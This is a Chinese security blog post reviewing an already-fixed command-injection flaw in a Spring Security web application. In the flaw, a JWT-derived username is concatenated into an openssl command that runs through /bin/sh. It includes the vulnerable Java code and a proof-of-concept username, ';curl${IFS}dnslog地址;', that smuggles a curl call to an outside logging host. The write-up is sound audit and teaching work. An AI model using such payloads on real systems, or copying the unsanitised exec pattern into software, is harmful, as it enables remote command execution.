引言
  在JavaWeb中,在服务端主要通过调用Runtime.getRuntime.exec()方法或者ProcessBuilder.start()来执行系统命令。相关的漏洞场景之前已分享过,传送门:https://sec-in.com/article/302
实际业务中发现一处username中的命令注入案例,当前漏洞已经修复完毕 。提取关键的的漏洞代码做下复盘。
具体过程
系统通过SSM开发,通过SpringSecurity进行权限控制。
具体的鉴权措施是结合jwt token实现的。首先用户通过登陆操作获得对应的token并保存在本地。此后的每次请求都在请求头中带上 token,服务器在收到客户端传来的请求时会判断是否有 token ,若有,判断本次访问的接口是否需要认证,是否需要相应的权限,根据认证结果返回对应的内容。
下图是登录接口的数据包,可以看到登录成功后返回X_Auth_Token(jwt token)
开发定义了一个过滤器AuthenticationTokenFilter
,用于解析 token 并将用户所有的权限写入本次 Spring Security 的会话中,查看filter的具体实现:
```java
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
// 获取请求头的 token
String authToken = httpRequest.getHeader(this.tokenHeader);
// 获取 token 中的 username
String username = this.tokenUtils.getUsernameFromToken(authToken);
// 如果上面解析 token 成功并且拿到了 username 并且本次会话的权限还未被写入
if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
// 用 UserDetailsService 从数据库中拿到用户的 UserDetails 类
// UserDetails 类是 Spring Security 用于保存用户权限的实体类
UserDetails userDetails = this.userDetailsService.loadUserByUsername(username);
// 检查用户带来的 token 是否有效
// 包括 token 和 userDetails 中用户名是否一样, token 是否过期, token 生成时间是否在最后一次密码修改时间之前
// 若是检查通过
if (this.tokenUtils.validateToken(authToken, userDetails)) {
// 生成通过认证
UsernamePasswordAuthenticationToken authentication = new UsernamePasswordAuthenticationToken(userDetails, null, userDetails.getAuthorities());
authentication.setDetails(new WebAuthenticationDetailsSource().buildDetails(httpRequest));
// 将权限写入本次会话
SecurityContextHolder.getContext().setAuthentication(authentication);
}
if (!userDetails.isEnabled()){
......
}
}
chain.doFilter(request, response);
}
```
这里通过tokenUtils.getUsernameFromToken()获取到username(实际上就是数据库里存储的用户名),然后传递username给loadUserByUsername()方法,此时当前用户的信息就被加载到SpringSecurity中了。通过Spring Security的authentication.getPrincipal()
方法即可获取到当前登录用户的内容。
至于具体的接口以及鉴权路由暂时放一边,补充下一些其他信息:
封装的用户信息UserDetailImpl.java:
```java
public class UserDetailImpl implements UserDetails {
private String id;
private String username;
private String password;
private Date lastPasswordReset;
private Collection<? extends GrantedAuthority> authorities;
private Boolean enabled;
private Boolean accountNonExpired;
private Boolean accountNonLocked;
private Boolean credentialsNonExpired;
......
......
}
```
下面步入正题,在审计业务代码时发现一处通过openssl genrsa 生成rsa私钥文件的业务接口,openssl genrsa语法如下:
text
openssl genrsa[-out filename] [-passout arg] [-des] [-des3] [-idea] [-f4] [-3] [-rand file(s)] [-engine id] [numbits]
对应的filename的格式为{当前登录用户名+certificate.pem},并且当前登录用户名是通过getUsername()方法获取的。方法代码如下:
主要通过Spring Security的authentication.getPrincipal()
获取Object,将其类型转换成定义的UserDetailImpl后,再调用getUsername()方法获取到用户名(根据之前对filter的分析,这里的用户名跟数据库存储中的用户名是一致的):
java
/**
* 获取当前登录的username
*/
public static String getUsername(Authentication authentication) {
String username="";
if(authentication!=null) {
Object principal = authentication.getPrincipal();
if(principal instanceof UserDetailImpl) {
username =((UserDetailImpl)principal).getUsername();
}else {
throw new RuntimeException("不合法的principal");
}
}
return username;
}
获取当前登录的username并拼接,然后通过RunExec()方法执行命令,查看RunExec()函数的具体实现,主要是通过Runtime.getRuntime.exec()
的方式执行命令。比较幸运的是,这里传入的参数为字符数组,参数部分可控且存在创建shell的操作。这里拼接的username实际上是用户可控的,那么也就是说可以考虑注册一个恶意的username达到命令注入的效果,有点二次注入的感觉:
java
Process proc=Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
尝试结合dnslog进行验证,简单的使用;
连接多条命令,尝试注册名为;curl${IFS}dnslog地址;
的用户名,下面是数据库中的写入截图:
首先登录准备好的带有恶意poc的用户名:
JWT token解码:
登录该账号后,按照前面的分析,在访问业务接口时携带jwt token,会把恶意的username加载进SpringSecurity中,此时请求对应业务接口后,按照前面的设想:当获取恶意的登录username后,curl命令会执行。 可以看到dnslog成功记录请求,说明命令注入成功,漏洞存在:
结语
正所谓“一切输入都是不可信的”,在日常Spring相关项目审计中,除了关注常规的@RequestMapping与@GetMapping等注解标注相关接口以外,类似Spring Security的authentication.getPrincipal()
,shiro的SecurityUtils.getSubject().getPrincipal()
也是用户可控的输入点之一,在某些特定场景下也会导致对应的漏洞,达到意想不到的结果。
变量覆盖漏洞大多由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract()函数和parse_str(),import_request_variables()函数则是用在没有开启全局变量注册的时候,调用这个函数相当于开启了全局变量注册,在PHP 5.4…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论